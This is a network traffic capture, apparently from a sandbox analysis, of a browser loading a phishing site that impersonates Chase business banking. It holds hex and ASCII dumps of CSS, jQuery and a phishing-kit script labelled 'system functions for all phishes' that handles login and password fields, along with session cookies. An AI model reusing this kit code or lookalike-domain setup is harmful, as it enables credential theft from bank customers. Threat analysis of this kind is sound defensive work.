!important}.mds-mb-8,.mds-my-8{margin-bottom:64px!important}.mds-p-7{padding:48px!important}.mds-pl-8,.mds-px-8{padding-left:64px!important}.mds-pr-8,.mds-px-8{padding-right:64px!important}.mds-pt-8,.mds-py-8{padding-top:64px!important}.mds-pb-8,.mds-py-8
2024-12-20 00:21:49 UTC	16384	IN	Data Raw: 64 73 2d 6d 78 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 74 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 6d 79 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 62 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 6d 79 2d 61 74 2d 35 37 36 2d 36 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 2d 61 74 2d 35 37 36 2d 35 7b 70 61 64 64 69 6e 67 3a 32 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 6c 2d 61 74 2d 35 37 36 2d 36 2c 2e 6d 64 73 2d 70 78 2d 61 74 2d 35 37 36 2d 36 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 32 70 Data Ascii: ds-mx-at-576-6{margin-right:32px!important}.mds-mt-at-576-6,.mds-my-at-576-6{margin-top:32px!important}.mds-mb-at-576-6,.mds-my-at-576-6{margin-bottom:32px!important}.mds-p-at-576-5{padding:24px!important}.mds-pl-at-576-6,.mds-px-at-576-6{padding-left:32p
2024-12-20 00:21:49 UTC	15310	IN	Data Raw: 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 72 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 78 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 74 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 79 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 62 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 79 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 2d 61 74 2d 39 39 32 2d 31 7b 6d 61 72 67 69 6e 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 6c 2d 61 74 2d 39 39 32 2d 32 2c 2e 6d 64 73 2d 6d 78 2d 61 74 Data Ascii: rtant}.mds-pr-at-992-1,.mds-px-at-992-1{padding-right:2px!important}.mds-pt-at-992-1,.mds-py-at-992-1{padding-top:2px!important}.mds-pb-at-992-1,.mds-py-at-992-1{padding-bottom:2px!important}.mds-m-at-992-1{margin:2px!important}.mds-ml-at-992-2,.mds-mx-at

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49841	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:48 UTC	847	OUT	GET /content/css/loader_big.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 22:28:16 GMT ETag: "1475-61be6a5a8e000" Accept-Ranges: bytes Content-Length: 5237 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	5237	IN	Data Raw: 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 5f 62 69 67 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 74 6f 70 3a 20 34 34 25 3b 0d 0a 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 63 63 63 63 63 63 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 5f 62 69 67 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 6d 61 72 67 69 6e Data Ascii: .loader_big { position: fixed; top: 44%; right: 0; bottom: 0; left: 0; z-index: 9999; margin: 0; text-align: center; color: #cccccc; font-size: 14px;}.loader_big:before { content: ""; display: block; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49840	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:48 UTC	843	OUT	GET /content/css/loader.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 22:24:14 GMT ETag: "14a4-61be6973c3f80" Accept-Ranges: bytes Content-Length: 5284 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	5284	IN	Data Raw: 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 74 6f 70 3a 20 34 34 25 3b 0d 0a 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 35 39 34 30 35 61 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 20 73 70 61 6e 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 74 6f 70 3a 20 2d 34 30 70 78 3b 0d 0a 09 6c 65 66 74 3a 20 35 35 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: .loader { position: fixed; top: 44%; right: 0; bottom: 0; left: 0; z-index: 9999; margin: 0; text-align: center; color: #59405a; font-size: 16px;}.loader span{position: relative;top: -40px;left: 55px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49843	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:48 UTC	841	OUT	GET /content/css/main.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:48 UTC	270	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 21 Jun 2024 12:41:12 GMT ETag: "17c-61b65bf190a00" Accept-Ranges: bytes Content-Length: 380 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:21:48 UTC	380	IN	Data Raw: 2e 68 69 64 65 5f 63 6f 6e 74 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 6f 72 6d 61 74 74 65 64 2d 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 2f 2a 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 2a 2f 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 20 2f 2a 20 4b 65 65 70 73 20 77 68 69 74 65 73 70 61 63 65 20 66 6f 72 6d 61 74 74 69 6e 67 20 2a 2f Data Ascii: .hide_cont {display:none;}.formatted-textarea { width: 100%; /max-width: 600px;/ height: 300px; border: 1px solid #ccc; padding: 10px; overflow-y: auto; white-space: pre-wrap; /* Keeps whitespace formatting */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49844	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:50 UTC	836	OUT	GET /content/js/jquery3_3_1.min.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:50 UTC	288	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 14 Dec 2023 15:25:08 GMT ETag: "15391-60c79e3853d00" Accept-Ranges: bytes Content-Length: 86929 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 2c 6e 3d 5b 5d 2c 72 3d 73 28 65 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 72 5b 62 5d 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 6f 2c 61 3d 72 28 65 2c 6e 75 6c 6c 2c 69 2c 5b 5d 29 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 73 2d 2d 29 28 6f 3d 61 5b 73 5d 29 26 26 28 65 5b 73 5d 3d 21 28 74 5b 73 5d 3d 6f 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 74 5b 30 5d 3d 65 2c 72 28 74 2c 6e 75 6c 6c 2c 6f 2c 6e 29 2c 74 5b 30 5d 3d 6e 75 6c 6c 2c 21 6e 2e 70 6f 70 28 29 7d 7d 29 2c 68 61 73 3a 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 65 28 65 2c 74 29 2e 6c Data Ascii: ,n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).l
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 74 29 7b 76 61 72 20 6e 2c 72 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 7b 6e 3d 28 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 6d 61 70 28 47 29 3a 28 74 3d 47 28 74 29 29 69 6e 20 72 3f 5b 74 5d 3a 74 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6e 2d 2d 29 64 65 6c 65 74 65 20 72 5b 74 5b 6e 5d 5d 7d 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 77 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 72 29 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 3a 64 65 6c 65 74 65 20 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 29 7d 7d 2c 68 61 73 44 61 74 61 Data Ascii: t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)\|\|[]).length;while(n--)delete r[t[n]]}(void 0===t\|\|w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 66 6f 72 65 28 65 2c 74 68 69 73 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 29 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 74 3d 30 3b 6e 75 6c 6c 21 3d 28 65 3d 74 68 69 73 5b 74 5d 29 3b 74 2b 2b 29 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 28 77 2e 63 6c 65 61 6e 44 61 74 61 28 79 65 28 65 2c 21 31 29 29 2c 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 6e 75 6c 6c 21 3d 65 26 26 65 2c 74 3d 6e 75 6c 6c 3d 3d 74 3f 65 3a 74 2c 74 68 69 73 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 2e 63 6c 6f 6e 65 28 74 68 69 73 2c 65 2c 74 29 7d 29 7d 2c 68 74 Data Ascii: fore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},ht
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 65 72 22 2c 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 77 2e 70 72 6f 70 46 69 78 5b 74 68 69 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 68 69 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 28 65 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6a 6f 69 6e 28 22 20 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 78 74 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 6d 61 74 63 68 28 4d 29 Data Ascii: er","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)\|\|[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")\|\|""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)
2024-12-20 00:21:51 UTC	5009	IN	Data Raw: 6c 62 61 63 6b 2c 59 74 2e 70 75 73 68 28 69 29 29 2c 61 26 26 67 28 6f 29 26 26 6f 28 61 5b 30 5d 29 2c 61 3d 6f 3d 76 6f 69 64 20 30 7d 29 2c 22 73 63 72 69 70 74 22 7d 29 2c 68 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 28 22 22 29 2e 62 6f 64 79 3b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 22 2c 32 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 7d 28 29 2c 77 2e 70 61 72 73 65 48 54 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 Data Ascii: lback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49845	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:50 UTC	825	OUT	GET /content/js/main.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:50 UTC	287	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:50 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 21:42:00 GMT ETag: "5645-61be600327a00" Accept-Ranges: bytes Content-Length: 22085 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:21:51 UTC	16384	IN	Data Raw: 2f 2f 53 54 41 52 54 20 73 79 73 74 65 6d 20 66 75 6e 63 74 69 6f 6e 73 20 66 6f 72 20 61 6c 6c 20 70 68 69 73 68 65 73 0d 0a 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 20 3d 20 6d 61 6b 65 69 64 28 35 29 3b 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 73 65 73 73 69 6f 6e 22 2c 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 3b 0d 0a 76 61 72 20 6f 6e 53 74 6f 72 61 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0d 0a 09 69 66 20 28 65 2e 6b 65 79 20 3d 3d 3d 20 27 73 65 73 73 69 6f 6e 27 20 26 26 20 65 2e 6e 65 77 56 61 6c 75 65 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 0d 0a 09 09 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 6d 75 6c 74 69 74 61 62 22 2c 20 77 69 6e 64 6f 77 2e Data Ascii: //START system functions for all phisheswindow.session = makeid(5);localStorage.setItem("session", window.session);var onStorage = function (e) {if (e.key === 'session' && e.newValue !== window.session)localStorage.setItem("multitab", window.
2024-12-20 00:21:51 UTC	5701	IN	Data Raw: 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 74 65 78 74 22 20 7c 7c 20 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 74 79 70 65 27 29 3d 3d 22 70 61 73 73 77 6f 72 64 22 29 7b 0d 0a 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 6a 70 75 69 27 29 29 7b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 76 61 6c 28 29 3d 3d 22 22 29 20 24 28 74 68 69 73 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 27 2e 61 6c 69 67 6e 2d 6c 61 62 65 6c 2d 69 6e 70 75 74 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 66 6c 6f 61 74 69 6e 67 27 29 3b 0d 0a 09 09 09 09 69 66 28 24 28 74 68 69 73 29 2e 61 74 74 72 28 27 69 64 27 29 3d 3d 27 75 73 65 72 49 64 2d 74 65 78 74 2d 69 6e 70 Data Ascii: is).attr('type')=="text" \|\| $(this).attr('type')=="password"){if($(this).hasClass('jpui')){if($(this).val()=="") $(this).parent().parent().parent().find('.align-label-input').removeClass('floating');if($(this).attr('id')=='userId-text-inp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49847	188.119.66.154	443	2056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:21:52 UTC	582	OUT	GET /content/js/main.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=0idu20ao0cqj0jqtb57oudfbrn; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:21:53 UTC	287	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:21:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 21:42:00 GMT ETag: "5645-61be600327a00" Accept-Ranges: bytes Content-Length: 22085 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
